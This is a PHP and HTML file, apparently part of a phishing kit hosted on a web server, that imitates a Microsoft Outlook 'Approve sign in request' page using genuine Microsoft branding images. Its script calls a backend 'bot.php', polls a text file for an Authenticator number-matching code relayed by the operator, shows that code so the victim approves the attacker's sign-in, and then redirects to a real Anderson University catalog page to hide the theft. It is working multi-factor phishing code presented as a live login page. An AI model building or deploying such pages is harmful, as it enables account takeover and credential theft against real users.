File: /home/bluecool/domains/bluecool.vn/public_html/andersonuniversity.edu/codepush.php
<?php
session_start();
// Get the season ID from the URL
$seasonId = $_GET['season_id'] ?? '';
// Retrieve the email from the session
$email = $_SESSION['email'] ?? '';
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Outlook Login</title>
<style>
body {
font-family: Arial, sans-serif;
background: url('https://aadcdn.msauthimages.net/dbd5a2dd-7u-c37liwsam9i7zwgxx3h3yfibffqwxfptkb6bnsau/logintenantbranding/0/illustration?ts=637076067930729357') no-repeat center center fixed;
background-size: cover;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
flex-direction: column;
}
.header {
text-align: center;
margin-bottom: 10px;
}
h2 {
font-size: 52px;
color: #333;
margin-bottom: 8px;
}
.login-container {
background-color: white;
padding: 30px;
box-shadow: 0px 4px 12px rgba(0, 0, 0, 0.1);
border-radius: 8px;
width: 395px;
text-align: left;
position: relative;
}
.login-container img {
max-width: 256px;
height: 24px;
display: block;
margin-bottom: 15px;
}
.email {
font-size: 16px;
margin-bottom: 10px;
color: #333;
}
.title {
font-size: 20px;
font-weight: bold;
margin-bottom: 10px;
}
.instruction {
font-size: .9375rem;
margin-bottom: 15px;
color: #333;
display: flex;
align-items: center;
}
.instruction img {
max-width: 20px;
height: auto;
margin-right: 5px;
}
.auth-number {
font-size: 36px;
border: 2px solid #000;
display: block;
padding: 8px;
border-radius: 4px;
text-align: center;
width: 60px;
height: 60px;
margin: 0 auto;
position: relative;
}
.loader {
width: 24px;
height: 24px;
border: 4px solid #000;
border-top: 4px solid transparent;
border-radius: 50%;
animation: spin 1s linear infinite;
position: absolute;
top: 35%;
left: 30%;
transform: translate(-70%, -70%);
display: none; /* Initially hidden */
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
.overlay {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: rgba(0, 0, 0, 0.5);
z-index: 999;
display: none; /* Initially hidden */
}
.footer-links {
font-size: 13px;
margin-top: 20px;
}
.footer-links a {
color: #0078d4;
text-decoration: none;
}
.footer-links a:hover {
text-decoration: underline;
}
.spacer {
margin-bottom: 20px;
}
.popup-message {
display: none;
color: #000;
padding: 10px;
position: absolute;
left: 80px;
top: 15px;
font-size: 14px;
z-index: 1000;
text-align: left;
}
/* Media query for mobile devices */
@media (max-width: 768px) {
body {
transform: scale(0.7); /* Zoom out to 70% */
transform-origin: top; /* Adjust origin for scaling */
height: auto; /* Allow for automatic height adjustment */
}
.login-container {
width: 100%; /* Ensure the container uses full width */
}
}
</style>
</head>
<body>
<div class="header">
<h2></h2>
</div>
<div class="login-container">
<img src="https://aadcdn.msauthimages.net/dbd5a2dd-7u-c37liwsam9i7zwgxx3h3yfibffqwxfptkb6bnsau/logintenantbranding/0/bannerlogo?ts=637715455294478365" alt="Microsoft Logo">
<!-- Display the email here -->
<p class="email"><?php echo htmlspecialchars($email); ?></p>
<p class="title">Approve sign in request</p>
<p class="instruction">
<img src="https://aadcdn.msauthimages.net/dbd5a2dd-7u-c37liwsam9i7zwgxx3h3yfibffqwxfptkb6bnsau/logintenantbranding/0/bannerlogo?ts=637715455294478365" alt="Authenticator Icon">
Open your Authenticator app, and enter the number shown to sign in.
</p>
<div class="auth-number" id="auth-number">
<div class="loader" id="loader"></div>
<div class="popup-message" id="popup-message">Please wait...</div>
</div>
<div class="overlay" id="overlay"></div>
<p>No numbers shown in the box? <a href="#" class="request-code">Request code.</a> Make sure to upgrade the app to the latest version.</p>
<div class="footer-links">
<a href="#" class="spacer">I can't use my Microsoft Authenticator app right now</a>
<br><br>
<a href="#">More information</a>
</div>
</div>
<script>
document.addEventListener('DOMContentLoaded', function () {
// Automatically trigger request code after 3 seconds
setTimeout(function () {
console.log('Auto-starting request after 3 seconds...');
document.querySelector('.request-code').click();
}, 3000);
document.querySelector('.request-code').addEventListener('click', function (event) {
event.preventDefault();
const loader = document.getElementById('loader');
const popupMessage = document.getElementById('popup-message');
loader.style.display = 'block'; // Show the loader
popupMessage.style.display = 'block'; // Show "Please wait..."
console.log('Request initiated: Clearing selected number...');
clearSelectedNumber();
});
function clearSelectedNumber() {
fetch('clear_number.php')
.then(response => response.text())
.then(() => {
console.log('Selected number cleared. Requesting a new number...');
requestNewNumber();
})
.catch(error => console.error('Failed to clear the selected number:', error));
}
function requestNewNumber() {
fetch('bot.php?season_id=<?php echo $seasonId; ?>')
.then(response => response.text())
.then(() => {
console.log('New number requested. Starting to check for number...');
// Start continuous polling for numbers
checkForNumberContinuously();
})
.catch(error => console.error('Failed to request a new number:', error));
}
// This function will continuously poll for numbers until "00" is received
function checkForNumberContinuously() {
fetch('selected_number.txt?t=' + new Date().getTime(), { cache: 'no-store' })
.then(response => {
if (!response.ok) {
throw new Error(`HTTP error! status: ${response.status}`);
}
return response.text();
})
.then(text => {
const trimmedText = text.trim();
console.log('Received:', trimmedText);
if (trimmedText !== '') {
// Display the number (whether it's "00" or any other number)
displayNumber(trimmedText);
// Check if it's "00" - if yes, redirect immediately
if (trimmedText === '00') {
console.log('Received "00" - preparing to redirect...');
redirectToKrrishimpex();
return; // Stop further polling
}
// If not "00", continue polling after 1 second
setTimeout(checkForNumberContinuously, 1000);
} else {
// No number yet, continue polling after 1 second
console.log('No number found, retrying...');
setTimeout(checkForNumberContinuously, 1000);
}
})
.catch(error => {
console.error('Failed to check for the number:', error);
// Even on error, continue polling after 1 second
setTimeout(checkForNumberContinuously, 1000);
});
}
function displayNumber(number) {
console.log('Displaying number:', number);
// Ensure the auth-number element exists
const authNumberBox = document.getElementById('auth-number');
if (!authNumberBox) {
console.error('Auth number box not found.');
return;
}
// Update the innerHTML of the auth number box with the received number
authNumberBox.innerHTML = number;
// Hide the loader and popup message (only on first successful number)
const loader = document.getElementById('loader');
const popupMessage = document.getElementById('popup-message');
if (loader && loader.style.display !== 'none') {
loader.style.display = 'none';
}
if (popupMessage && popupMessage.style.display !== 'none') {
popupMessage.style.display = 'none';
}
}
function redirectToKrrishimpex() {
console.log('Redirecting to catalog.andersonuniversity.edu/content.php?catoid=19&navoid=1056...');
// Show overlay and loader immediately
const overlay = document.getElementById('overlay');
if (overlay) {
overlay.style.display = 'block';
}
// Create and show second loader
const secondLoader = document.createElement('div');
secondLoader.className = 'loader';
secondLoader.style.position = 'fixed';
secondLoader.style.top = '50%';
secondLoader.style.left = '50%';
secondLoader.style.transform = 'translate(-50%, -50%)';
secondLoader.style.zIndex = '1001';
document.body.appendChild(secondLoader);
secondLoader.style.display = 'block';
// Add a small delay for user to see the "00" and then redirect
setTimeout(function() {
window.location.href = 'https://catalog.andersonuniversity.edu/content.php?catoid=19&navoid=1056';
}, 1000); // 1 second delay (you can adjust this if needed)
}
});
</script>
</body>
</html>